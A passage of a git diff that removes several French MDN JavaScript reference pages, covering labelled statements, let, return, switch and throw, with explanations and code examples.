-  for (j =0; j < 3; j++) { // seconde boucle étiquetée « boucle2 »
-    if (i == 1 && j == 1) {
-      break boucle1;
-    }
-    console.log("i = " + i + ", j = " + j);
-  }
-}
-
-// Ce qui produira en sortie
-// (dans la console)
-// "i = 0, j = 0"
-// "i = 0, j = 1"
-// "i = 0, j = 2"
-// "i = 1, j = 0"
-// Ici on voit la différence avec l'exemple précédent utilisant continue
-
- -

Second exemple utilisant un label et break

- -

Étant donné un tableau d'éléments et un tableau de tests, cet exemple permet de déterminer si oui ou non tous les éléments ont réussis tous les tests.

- -
var toutReussi = true;
-var i, j;
-
-top:
-for (i = 0; items.length; i++)
-  for (j = 0; j < tests.length; i++)
-    if (!tests[j].reusi(items[i])){
-      toutReussi = false;
-      break top;
-    }
-
- -

Utilise un bloc étiqueté avec break

- -

On peut utiliser des étiquettes dans des blocs simples mais seul break permettra de faire référence à des étiquettes en dehors d'une boucle.

- -
toto: {
-  console.log("face");
-  break toto;
-  console.log("this will not be executed");
-}
-console.log("swap");
-
-// On aura alors dans la console :
-
-// "face"
-// "swap
- -

Déclarations de fonctions étiquetées

- -

À partir d'ECMAScript 2015, les déclarations de fonctions étiquetées sont standardisées pour du code non-strict au sein de l'annexe de la spécification relative à la compatibilité web.

- -
L: function F() {}
- -

En revanche, en mode strict, cela lèvera une exception {{jsxref("SyntaxError")}}:

- -
"use strict";
-L: function F() {}
-// SyntaxError: functions cannot be labelled
- -

Les fonctions génératrices ne peuvent pas être étiquetées, en mode strict, comme en mode non-strict :

- -
L: function* F() {}
-// SyntaxError: generator functions cannot be labelled
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.label")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/break", "break")}}
    • -
  • {{jsxref("Instructions/continue", "continue")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/let/index.html b/files/fr/web/javascript/reference/instructions/let/index.html deleted file mode 100644 index be39c8ecae..0000000000 --- a/files/fr/web/javascript/reference/instructions/let/index.html +++ /dev/null @@ -1,371 +0,0 @@ ---- -title: let -slug: Web/JavaScript/Reference/Instructions/let -tags: - - ECMAScript 2015 - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/let ---- -
{{jsSidebar("Statements")}}
- -

L'instruction let permet de déclarer une variable dont la portée est celle du bloc courant, éventuellement en initialisant sa valeur.

- -
{{EmbedInteractiveExample("pages/js/statement-let.html")}}
- - - -

Syntaxe

- -
let var1 [= valeur1] [, var2 [= valeur2]] [, ..., varN [= valeurN]];
- -

Paramètres

- -
-
var1, var2, …, varN
-
Le nom de la ou des variables. Ces noms doivent être des identifiants JavaScript valides.
-
valeur1, valeur2, …, valeurN{{optional_inline}}
-
Pour chaque variable déclaré, on peut indiquer, de façon optionnelle, sa valeur initiale. Ces valeurs peuvent être n'importe quelle expression légale.
-
- -

Description

- -

let permet de déclarer des variables dont la portée est limitée à celle du bloc dans lequel elles sont déclarées. Le mot-clé {{jsxref("Instructions/var","var")}}, quant à lui, permet de définir une variable globale ou locale à une fonction (sans distinction des blocs utilisés dans la fonction).

- -

Une autre différence entre let et var est la façon dont la variable est initialisée : pour let, la variable est initialisée à l'endroit où le parseur évalue son contenu (cf. ci-après).

- -

À l'instar de {{jsxref("instructions/const", "const")}}, let ne crée pas de propriété sur l'objet {{domxref("window")}} quand les variables sont déclarées au niveau global.

- -

L'origine du nom let est décrite dans cette réponse (en anglais).

- -

Les portées de bloc avec let

- -

Le mot-clé let permet de définir des variables au sein d'un bloc et des blocs qu'il contient. var permet quant à lui de définir une variable dont la portée est celle de la fonction englobante.

- -
if (x > y) {
-  let gamma = 12.7 + y;
-  i = gamma * x;
-}
-
-function varTest() {
-  var x = 1;
-  if (true) {
-    var x = 2;  // c'est la même variable !
-    console.log(x);  // 2
-  }
-  console.log(x);  // 2
-}
-
-function letTest() {
-  let x = 1;
-  if (true) {
-    let x = 2;  // c'est une variable différente
-    console.log(x);  // 2
-  }
-  console.log(x);  // 1
-}
-
- -

Une meilleure lisibilité pour les fonctions internes

- -

let peut parfois permettre de rendre le code plus lisible lorsqu'on utilise des fonctions internes.

- -
var list = document.getElementById("list");
-
-for (let i = 1; i <= 5; i++) {
-  var item = document.createElement("li");
-  item.appendChild(document.createTextNode("Élément " + i));
-
-  item.onclick = function (ev) {
-    console.log("Clic sur l'élément " + i + ".");
-  };
-  list.appendChild(item);
-}
-
-// Pour obtenir le même effet avec var
-// il aurait fallu créer un contexte différent
-// avec une fermeture (closure) pour la valeur
-
-for (var i = 1; i <= 5; i++) {
-  var item = document.createElement("li");
-  item.appendChild(document.createTextNode("Item " + i));
-
-  (function(i) {
-    item.onclick = function(ev) {
-      console.log("Item " + i + " a reçu un clic.");
-    };
-  })(i);
-  list.appendChild(item);
-}
-
- -

Dans l'exemple précédent, cela fonctionne comme on l'attend car les cinq instances de la fonction anonyme sont liées à cinq instances différentes de i. Si on remplace let par {{jsxref("Instructions/var","var")}}, on n'obtiendra pas l'effet escompté car on aura une même variable pour cette portée i=6 (au lieu de 5 différentes).

- -

Règles de portées

- -

Les variables déclarées avec let appartiennent à la portée du bloc dans lequel elles sont définies et indirectement aux portées des blocs de ce bloc. D'une certaine façon let fonctionne comme var, la seule différence dans cette analogie est que let fonctionne avec les portées de bloc et var avec les portées des fonctions :

- -
function varTest() {
-  var x = 31;
-  if (true) {
-    var x = 71;  // c'est la même variable !
-    console.log(x);  // 71
-  }
-  console.log(x);  // 71
-}
-
-function letTest() {
-  let x = 31;
-  if (true) {
-    let x = 71;  // c'est une variable différente
-    console.log(x);  // 71
-  }
-  console.log(x);  // 31
-}
-
- -

Au niveau le plus haut (la portée globale), let crée une variable globale alors que var ajoute une propriété à l'objet global :

- -
var x = 'global';
-let y = 'global2';
-console.log(this.x); // "global"
-console.log(this.y); // undefined
-console.log(y);      // "global2"
-
- -

Émuler le fonctionnement des interfaces privées

- -

En utilisant l'instruction let avec des constructeurs, on peut créer des interfaces privées sans avoir à utiliser de fermetures :

- -
var Truc;
-
-{
-  let porteePrivee = new WeakMap();
-  let compteur = 0;
-
-  Truc = function() {
-    this.unePropriete = 'toto';
-
-    porteePrivee.set(this, {
-      cachee: ++compteur,
-    });
-  };
-
-  Truc.prototype.montrerPublique = function() {
-    return this.unePropriete;
-  };
-
-  Truc.prototype.montrerPrivee = function() {
-    return porteePrivee.get(this).cachee;
-  };
-}
-
-console.log(typeof porteePrivee);
-// "undefined"
-
-var truc = new Truc();
-
-console.log(truc);
-// Truc {unePropriete: "toto"}
-
-truc.montrerPublique();
-// "toto"
-
-truc.montrerPrivee();
-// 1
-
- -

Cette technique permet d'obtenir un état privé « statique ». Ainsi, dans l'exemple qui précède, toutes les instances de Truc partageront la même portéePrivée.
- Il était possible d'obtenir un tel isolement avec var mais il fallait passer par des fonctions isolées (généralement des fonctions immédiatement appelées (IIFE)).

- -

Zone morte temporaire (Temporal Dead Zone / TDZ)  et les erreurs liées à let

- -

Lorsqu'on redéclare une même variable au sein d'une même portée de bloc, cela entraîne une exception {{jsxref("SyntaxError")}}.

- -
if (x) {
-  let toto;
-  let toto; // SyntaxError
-}
- -

Avec ECMAScript 2015 (ES6), let remontera (hoisting) la déclaration variable au début de la portée (au début du bloc) mais pas l'initialisation. Si on fait référence à une variable dans un bloc avant la déclaration de celle-ci avec let, cela entraînera une exception {{jsxref("ReferenceError")}}. En effet, la variable est placée dans une « zone morte temporaire » entre le début du bloc et le moment où la déclaration est traitée. Autrement dit, la déclaration est bien remontée mais la variable ne peut pas être utilisée tant que l'affectation (qui n'est pas remontée) n'a pas été effectuée.

- -
function faire_quelque_chose() {
-  console.log(truc); // undefined
-  console.log(toto); // ReferenceError
-  let toto = 2;
-  var truc = 1;
-}
- -

Il est possible d'obtenir des erreurs au sein de l'instruction {{jsxref("Instructions/switch")}}. En effet, il y a un seul bloc implicite pour cette instruction.

- -
switch (x) {
-  case 0:
-    let toto;
-    break;
-
-  case 1:
-    let toto; // SyntaxError for redeclaration.
-    break;
-}
- -

Par contre, si on ajoute une instruction de bloc dans la clause case, cela créera une nouvelle portée et empêchera l'erreur :

- -
let x = 1;
-
-switch(x) {
-  case 0: {
-    let toto;
-    break;
-  }
-  case 1: {
-    let toto;
-    break;
-  }
-}
- -

Autres situations

- -

Lorsqu'on utilise let dans un bloc, sa portée est limitée à celle du bloc. On notera ici la différence avec var dont la portée est celle de la fonction où il est utilisé.

- -
var a = 1;
-var b = 2;
-
-if (a === 1) {
-  var a = 11; // la portée est la portée globale
-  let b = 22; // la portée est celle du bloc if
-
-  console.log(a);  // 11
-  console.log(b);  // 22
-}
-
-console.log(a); // 11
-console.log(b); // 2
-
- -

Cependant, la combinaison utilisée ci-après déclenchera une exception SyntaxError car la déclaration avec var est remontée en haut du bloc et il y a donc une redéclaration implicite de la variable (également utilisée avec let).

- -
let x = 1;
-
-if (true) {
-  var x = 2; // SyntaxError liée à la redéclaration
-}
-
- -

La zone morte temporaire et typeof

- -

Si on utilise typeof sur des variables non déclarées ou qui valent {{jsxref("undefined")}}, on obtiendra la valeur undefined. Mais si on utilise typeof sur une variable au sein de la zone morte temporaire de cette variable, cela déclenchera une {{jsxref("ReferenceError")}} :

- -
console.log(typeof variableNonDeclaree); // affiche 'undefined'
-
-console.log(typeof i); // ReferenceError
-let i = 10;
- -

Autre exemple lié à la zone morte temporaire et aux portées lexicales

- -

Dans l'exemple qui suit, dans l'expression toto + 55, l'identifiant toto fait référence à la variable du bloc courant et non à celle qui est déclarée au dessus et qui a la valeur 33. Dans l'instruction let toto = (toto + 55); l'instruction est bien remontée mais l'endroit où on utilise toto (dans le fragment (toto + 55)) est toujours dans la zone morte temporaire car toto n'a pas encore été affecté.

- -
function test(){
-  var toto = 33;
-  if (true) {
-    let toto = (toto + 55); // ReferenceError: can't access lexical declaration `toto` before initialization
-  }
-}
-test();
-
- -

Si on utilise let avec un nom de variable qui est le même que celui de l'argument passé à la fonction, on aura une erreur due à la confusion des portées :

- -
function go(n) {
-  for (let n of n.a){ // ReferenceError: can't access lexical declaration `n' before initialization
-    console.log(n);
-  }
-}
-go({a:[1, 2, 3]});
-
- -

Les variables déclarées avec let et les boucles for

- -

Le mot-clé let permet de lier des variables localement dans la portée des boucles for. Contrairement au mot-clé var qui lui rend les variables visibles depuis l'ensemble de la fonction qui contient la boucle.

- -
var a = 0;
-for ( let i = a; i < 10; i++ ) {
-  console.log(i);
-}
-
- -

Règles de portées

- -
for (let expr1; expr2; expr3) instruction
- -

Dans cet exemple, expr2, expr3, et instruction sont contenues dans un bloc implicite qui contient la variable de bloc local déclarée avec let expr1.

- -

Exemples

- -

let / var

- -

Lorsqu'il est utilisé dans un bloc, let permet de limiter la portée de la variable à ce bloc. var quant à lui limite la portée de la variable à la fonction.

- -
var a = 5;
-var b = 10;
-
-if (a === 5) {
-  let a = 4; // La portée est celle du bloc if
-  var b = 1; // La portée est celle interne à la fonction
-
-  console.log(a);  // 4
-  console.log(b);  // 1
-}
-
-console.log(a); // 5
-console.log(b); // 1
- -

let utilisé dans les boucles

- -

Le mot-clé let permet de lier des variables à la portée de la boucle plutôt qu'à celle de la fonction (avec var) :

- -
for (let i = 0; i<10; i++) {
-  console.log(i); // 0, 1, 2, 3, 4 ... 9
-}
-
-console.log(i); // i n'est pas défini
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}{{Spec2('ES2015')}}Définition initiale. Cette définition n'inclue pas les expressions et blocs let.
{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.let")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/return/index.html b/files/fr/web/javascript/reference/instructions/return/index.html deleted file mode 100644 index 1972130104..0000000000 --- a/files/fr/web/javascript/reference/instructions/return/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: return -slug: Web/JavaScript/Reference/Instructions/return -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/return ---- -
{{jsSidebar("Statements")}}
- -

L'instruction return met fin à l'exécution d'une fonction et définit une valeur à renvoyer à la fonction appelante.

- -
{{EmbedInteractiveExample("pages/js/statement-return.html")}}
- - - -

Syntaxe

- -
return [[expression]];
- -
-
expression
-
L'expression dont on souhaite renvoyer la valeur. Si elle est absente, la valeur renvoyée par défaut sera {{jsxref("undefined")}}.
-
- -

Description

- -

Lorsqu'une instruction return est utilisée dans une fonction, l'exécution de la fonction se termine. Si une valeur est fournie, elle sera renvoyée à l'appelant de la fonction. Si l'expression définissant la valeur de retour de la fonction est absente, la valeur undefined sera renvoyée. Par exemple, voici une fonction qui renvoie le carré de son argument x (où x est un nombre) :

- -
function carre(x) {
-  return x * x;
-}
-var demo = carre(3);
-// demo vaudra alors 9
-
- -

Les instructions qui suivent causeront chacune l'arrêt de l'exécution d'une fonction :

- -
return;
-return true;
-return false;
-return x;
-return x + y / 3;
-
- -

Ajout automatique de point-virgule

- -

L'instruction return peut être impactée par l'ajout automatique de point-virgule (ASI en anglais). Il est interdit d'avoir un caractère de fin de ligne entre le mot-clé return et l'expression :

- -
return
-a + b;
-
-
- -

Après ASI, cela sera transformé en :

- -
return;
-a + b;
-// Avertissement console : "expression non accessible
-// après une instruction return sans point-virgule"
-
- -
-

Note : À partir de Gecko 40 {{geckoRelease(40)}}, un avertissement sera affiché dans la console si l'analyse du code trouve une instruction semblable à une expression après une instruction return sans point-virgule. Voir le {{bug(1005110)}} pour plus d'informations.

-
- -

Pour éviter ce problème et l'insertion automatique, on peut, si besoin, utiliser des parenthèses.

- -
return (
-  a + b;
-);
- -

Exemples

- -

Utiliser return

- -

La fonction suivante renvoie le carré de son argument :

- -
function carré(x) {
-   return x * x;
-}
-
- -

Interrompre une fonction

- -

Une fonction s'arrête immédiatement à l'instant où l'instruction return est traitée.

- -
function compteur() {
-  for (var compte = 1; ; compte++) {  // boucle infinie
-    console.log(compte + "A"); // jusqu'à 5
-      if (compte === 5) {
-        return;
-      }
-      console.log(compte + "B");  // jusqu'à 4
-    }
-  console.log(compte + "C");  // cette instruction n'est jamais utilisée
-}
-
-compteur();
-
-// Résultat dans la console :
-// 1A
-// 1B
-// 2A
-// 2B
-// 3A
-// 3B
-// 4A
-// 4B
-// 5A
-
- -

Renvoyer une fonction

- -

Pour en savoir plus sur les fermetures (closures), voir cet article sur les fermetures.

- -
function magique() {
-  return function calc(x) { return x * 42 };
-}
-
-var réponse = magique();
-réponse(1337); // 56154
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.return")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/switch/index.html b/files/fr/web/javascript/reference/instructions/switch/index.html deleted file mode 100644 index d3fcc130fa..0000000000 --- a/files/fr/web/javascript/reference/instructions/switch/index.html +++ /dev/null @@ -1,317 +0,0 @@ ---- -title: switch -slug: Web/JavaScript/Reference/Instructions/switch -tags: - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/switch ---- -
{{jsSidebar("Statements")}}
- -

L'instruction switch évalue une expression et, selon le résultat obtenu et le cas associé, exécute les instructions correspondantes.

- -
{{EmbedInteractiveExample("pages/js/statement-switch.html")}}
- - - -

Syntaxe

- -
switch (expression) {
-  case valeur1:
-    // Instructions à exécuter lorsque le résultat
-    // de l'expression correspond à valeur1
-    instructions1;
-    [break;]
-  case valeur2:
-    // Instructions à exécuter lorsque le résultat
-    // de l'expression correspond à valeur2
-    instructions 2;
-    [break;]
-  ...
-  case valeurN:
-    // Instructions à exécuter lorsque le résultat
-    // de l'expression à valeurN
-    instructionsN;
-    [break;]
-  [default:
-    // Instructions à exécuter lorsqu'aucune des valeurs
-    // ne correspond
-    instructions_def;
-    [break;]]
-}
- -
-
expression
-
Une expression à comparer avec chacune des clause case.
-
case expressionN {{optional_inline}}
-
Une clause qu'on compare avec expression.
-
default {{optional_inline}}
-
Une clause exécutée si aucune correspondance n'est trouvée avec les clause case (et/ou s'il n'y a pas de break pour les clauses case précédentes).
-
instructionsN
-
Les instructions à exécuter lorsque l'expression correspond au cas présenté pour cette clause.
-
instructions_def
-
Les instructions à exécuter si l'expression ne correspond à aucun cas de figure précédemment décrit.
-
- -

Description

- -

Une instruction switch commence par évaluer l'expression fournie (cette évaluation ne se produit qu'une fois). Si une correspondance est trouvée, le programme exécutera les instructions associées. Si plusieurs cas de figure correspondent, le premier sera sélectionné (même si les cas sont différents les uns des autres).

- -

Le programme recherche tout d'abord une clause case dont l'expression est évaluée avec la même valeur que l'expression d'entrée (au sens de {{jsxref("Opérateurs/Opérateurs_de_comparaison","l'égalité stricte","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)",1)}}. Si une telle clause est trouvée, les instructions associées sont exécutées. Si aucune clause case n'est trouvée, le programme recherche la clause optionnelle default et si elle existe, les instructions correspondantes sont exécutées. Si cette clause optionnelle n'est pas utilisée, le programme continue son exécution après l'instruction switch. Par convention, la clause default est utilisée en dernière mais cela n'est pas nécessaire.

- -

L'instruction {{jsxref("Instructions/break","break")}} peut optionnellement être utilisée pour chaque cas et permet de s'assurer que seules les instructions associées à ce cas seront exécutées. Si break n'est pas utilisé, le programme continuera son exécution avec les instructions suivantes (des autres cas de l'instruction switch).

- -

Exemples

- -

Utiliser switch

- -

Dans l'exemple suivant, si l'expression expr vaut "Bananes", le programme trouve la correspondance et exécute l'instruction associée. Lorsque l'instruction break est trouvée, le programme « sort » de l'instruction switch et continue l'exécution avec les instructions  suivantes. Si break n'avait pas été utilisé, l'instruction du cas "Cerises" aurait également été exécutée.

- -
switch (expr) {
-  case "Oranges":
-    console.log("Oranges : 0.59 € le kilo.");
-    break;
-  case "Pommes":
-    console.log("Pommes : 0.32 € le kilo.");
-    break;
-  case "Bananes":
-    console.log("Bananes : 0.48 € le kilo.");
-    break;
-  case "Cerises":
-    console.log("Cerises : 3.00 € le kilo.");
-    break;
-  case "Mangues":
-  case "Papayes":
-    console.log("Mangues et papayes : 2.79 € le kilo.");
-    break;
-  default:
-    console.log("Désolé, nous n'avons plus de " + expr + ".");
-}
-
-console.log("Autre chose ?");
-
- -

Que se passe-t-il si on oublie un break ?

- -

Si on omet une instruction break, le script exécutera les instructions pour le cas correspondant et aussi celles pour les cas suivants jusqu'à la fin de l'instruction switch ou jusqu'à une instruction break. Par exemple :

- -
var toto = 0;
-switch (toto) {
-    case -1:
-        console.log('moins un');
-        break;
-    case 0: // toto vaut 0 donc ce cas correspond
-        console.log(0);
-        // NOTE : le break aurait du être placé ici
-    case 1: // pas de break pour 'case 0:' les instructions de ce cas sont
-            // exécutées aussi
-        console.log(1);
-        break; // on a un break a ce niveau donc les instructions
-               // des cas suivants ne seront pas exécutées
-    case 2:
-        console.log(2);
-        break;
-    default:
-        console.log('default');
-}
- -

Peut-on intercaler la règle par défaut ?

- -

Oui, il est possible de placer le cas default entre deux autres cas. Ainsi, si on a une valeur qui ne correspond pas aux différents cas, elle passera par le bloc default puis par les autres s'il n'y a pas de break. Par exemple :

- -
var toto = 5
-switch (toto) {
-  case 2:
-    console.log(2); // ne sera pas exécuté
-    break;
-  default:
-    console.log("default"); // sera exécuté
-  case 1:
-    console.log("1"); // sera exécuté car il n'y a
-                      // pas de break avant
-}
-// La console affichera "default" puis "1"
-
- -

Méthodes pour regrouper différents cas

- -

Pour la source depuis laquelle les exemples suivants ont été adaptés, voir cette question Stack Overflow.

- -

Regrouper différents cas pour exécuter une unique opération

- -

Cette méthode utilise le fait que s'il n'y a pas d'instruction {{jsxref("Instructions/break","break")}}, l'exécution se poursuivra avec les instructions des cas suivants (même si les expressions de ces cas ne correspondent pas à la valeur de l'expression d'entrée).

- -

On peut donc regrouper différentes valeurs les unes à la suite des autres pour exécuter des instructions pour ces valeurs :

- -
var animal = 'girafe';
-switch (animal) {
-    case 'vache':
-    case 'girafe':
-    case 'chien':
-    case 'cochon':
-        console.log('Cet animal est un mammifère');
-        break;
-    case 'oiseau':
-    default:
-        console.log('Cet animal n\'est pas un mammifère.');
-}
- -

Chaîner des opérations

- -

Dans l'exemple qui suit, on illustre comment exécuter une série d'instructions qui varie en fonction du paramètre (ici un entier) fourni. Cela montre que les différents cas sont testés dans l'ordre dans lequel ils sont mis au sein du switch :

- -
var toto = 1;
-var output = 'Résultat : ';
-switch (toto) {
-    case 0:
-        output += 'Donc ';
-    case 1:
-        output += 'quel ';
-        output += 'est ';
-    case 2:
-        output += 'votre ';
-    case 3:
-        output += 'nom ';
-    case 4:
-        output += '?';
-        console.log(output);
-        break;
-    case 5:
-        output += '!';
-        console.log(output);
-        break;
-    default:
-        console.log('Veuillez choisir un nombre entre 0 et 5 !');
-}
- -

Selon les valeurs fournies à la variable toto, on aura les résultats suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValeurTexte
toto vaut {{jsxref("NaN")}} ou est différent de 1, 2, 3, 4, 5 ou 0Veuillez choisir un nombre entre 0 et 5 !
0Résultat : Donc quel est votre nom ?
1Résultat : quel est votre nom ?
2Résultat : votre nom ?
3Résultat : nom ?
4Résultat : ?
5Résultat : !
- -

switch et les variables avec une portée de bloc

- -

Avec ECMAScript 2015 (ES6), on peut utiliser les instructions let et const pour déclarer des variables dont la portée sera celle du bloc englobant.

- -

Prenons cet exemple :

- -
const action = 'dire_bonjour';
-switch (action) {
-  case 'dire_bonjour':
-    let message = 'bonjour';
-    console.log(message);
-    break;
-  case 'dire_coucou':
-    let message = 'coucou';
-    console.log(message);
-    break;
-  default:
-    console.log('Aucune action reçue.');
-    break;
-}
- -

Si on exécute cet exemple, on aura l'erreur Uncaught SyntaxError: Identifier 'message' has already been declared qui n'est probablement pas le résultat espéré.

- -

Cela se produit car la première instruction let message = 'bonjour'; entre en conflit avec let message = 'coucou'; bien qu'elles soient rattachées à deux instructions case distinctes case 'dire_bonjour': et case 'dire_coucou': mais ces deux instructions s'inscrivent dans le même bloc et on a donc message déclaré deux fois dans le même bloc, soit deux fois dans la même portée.

- -

Pour régler ce problème, il suffit de rajouter des accolades pour définir un bloc d'instructions pour chaque case :

- -
const action = 'dire_bonjour';
-switch (action) {
-  case 'dire_bonjour': { // accolade ajoutée
-    let message = 'bonjour';
-    console.log(message);
-    break;
-  } // accolade ajoutée
-  case 'dire_coucou': { // accolade ajoutée
-    let message = 'coucou';
-    console.log(message);
-    break;
-  } // accolade ajoutée
-  default: { // accolade ajoutée
-    console.log('Aucune action reçue.');
-    break;
-  } // accolade ajoutée
-}
- -

Cette nouvelle version, exécutée, produira "bonjour" dans la console, sans causer d'erreur.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-12.11', 'instruction switch')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-switch-statement', 'instruction switch')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.switch")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/if...else","if...else")}}
    • -
  • {{jsxref("Instructions/break","break")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/throw/index.html b/files/fr/web/javascript/reference/instructions/throw/index.html deleted file mode 100644 index 1465d2f460..0000000000 --- a/files/fr/web/javascript/reference/instructions/throw/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: throw -slug: Web/JavaScript/Reference/Instructions/throw -tags: - - Exception - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/throw ---- -
{{jsSidebar("Statements")}}
- -

L'instruction throw permet de lever une exception définie par l'utilisateur. L'exécution de la fonction courante sera stoppée (les instructions situées après l'instruction throw ne seront pas exécutées) et le contrôle sera passé au premier bloc {{jsxref("Instructions/try...catch","catch")}} de la pile d'appels. Si aucun bloc catch ne se trouve dans les fonctions de la pile d'appels, le programme sera terminé.

- -
{{EmbedInteractiveExample("pages/js/statement-throw.html")}}
- - - -

Syntaxe

- -
throw expression;
- -
-
expression
-
L'expression qui fournit l'exception à lever.
-
- -

Description

- -

L'instruction throw permet de lever (throw en anglais) une exception. Lorsqu'on lève une exception, expression fournit la valeur de l'exception. Chacune des instructions ci-après permet de lever une exception :

- -
throw "monErreur"; // génère une exception étant une chaîne de caractères
-throw 42;          // génère une exception ayant la valeur 42
-throw true;        // génère une exception ayant la valeur true
-throw new Error("Obligatoire");  // génère un objet Error avec le message "Obligatoire"
- -

On notera également que l'instruction throw est affectée par {{jsxref("Grammaire_lexicale","l'insertion automatique de point-virgule","#Insertion_automatique_de_points-virgules",1)}} car il n'est pas permis d'avoir un caractère de fin de ligne entre le mot-clé throw et l'expression.

- -

Exemples

- -

Lever une exception qui est un objet

- -

Il est possible de lever une exception qui est un objet et de faire référence aux propriétés de cet objet au sein du bloc catch. Dans l'exemple suivant, on crée un objet monException du type ExceptionUtilisateur puis on utilise cet objet avec une instruction throw.

- -
function ExceptionUtilisateur(message) {
-   this.message = message;
-   this.name = "ExceptionUtilisateur";
-}
-function getNomMois(mo) {
-   mo = mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
-   var mois = ["Jan", "Fév", "Mar", "Avr", "Mai", "Juin", "Juil",
-      "Août", "Sept", "Oct", "Nov", "Déc"];
-   if (mois[mo] !== undefined) {
-      return mois[mo];
-   } else {
-      throw new ExceptionUtilisateur("Numéro de mois invalide");
-   }
-}
-
-try {
-   // les instructions à tenter
-   var monMois = 15; // 15 est en dehors des limites prévues
-   var nomMois = getNomMois(monMois);
-} catch (e) {
-   nomMois = "unknown";
-   console.error(e.message, e.name); // on passe les caractéristiques de l'exception
-                                     // à un gestionnaire d'erreur
-}
-
- -

Deuxième exemple avec un objet

- -

Ici, on cherche à valider une chaîne de caractères représentant un code postal américain. Si le format utilisé est invalide, cela provoquera une exception avec un objet du type ZipFormatIncorrectException. (Le mot-clé {{jsxref("Instructions/const","const")}} introduit avec ECMAScript 6 est utilisé dans cet exemple).

- -
/*
- * Crée un objet ZipCode.
- *
- * Les formats acceptés sont :
- *    12345
- *    12345-6789
- *    123456789
- *    12345 6789
- *
- * Si l'argument passé au constructeur ZipCode n'est pas conforme
- * à un de ces formats, une exception sera levée.
- */
-
-function ZipCode(zip) {
-   zip = new String(zip);
-   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
-   if (pattern.test(zip)) {
-      // la valeur du code sera la première correspondance
-      // dans la chaîne
-      this.value = zip.match(pattern)[0];
-      this.valueOf = function() {
-         return this.value
-      };
-      this.toString = function() {
-         return String(this.value)
-      };
-   } else {
-      throw new ZipFormatIncorrectException(zip);
-   }
-}
-
-function ZipFormatIncorrectException(value) {
-   this.value = value;
-   this.message = "le format n'est pas conforme";
-   this.toString = function() {
-      return this.value + this.message;
-   };
-}
-
-/*
- * Cette fonction pourrait être utilisée dans un script
- * pour valider des adresses
- */
-
-const ZIPCODE_INVALID = -1;
-const ZIPCODE_UNKNOWN_ERROR = -2;
-
-function vérifierZipCode(z) {
-   try {
-      z = new ZipCode(z);
-   } catch (e) {
-      if (e instanceof ZipFormatIncorrectException) {
-         return ZIPCODE_INVALID;
-      } else {
-         return ZIPCODE_UNKNOWN_ERROR;
-      }
-   }
-   return z;
-}
-
-a = vérifierZipCode(95060);         // renvoie 95060
-b = vérifierZipCode(9560);          // renvoie -1
-c = vérifierZipCode("a");           // renvoie -1
-d = vérifierZipCode("95060");       // renvoie 95060
-e = vérifierZipCode("95060 1234");  // renvoie 95060 1234
-
- -

Propager une exception

- -

L'instruction throw peut être utilisée pour transmettre une exception qui aurait été interceptée avec {{jsxref("Instructions/try...catch","catch")}}. Dans l'exemple suivant, on intercepte une exception avec une valeur numérique et on propage l'exception si la valeur est supérieure à 50. L'exception qui est levée se propage dans la fonction appelante ou au niveau le plus haut, visible par l'utilisateur.

- -
try {
-   throw n; // lève une exception avec une valeur numérique
-} catch (e) {
-   if (e <= 50) {
-      // des instructions pour gérer les cas entre 1 et 50
-   } else {
-      // ce cas ne peut pas être géré maintenant, on transmet l'exception
-      throw e;
-   }
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4
{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}{{Spec2('ES5.1')}}
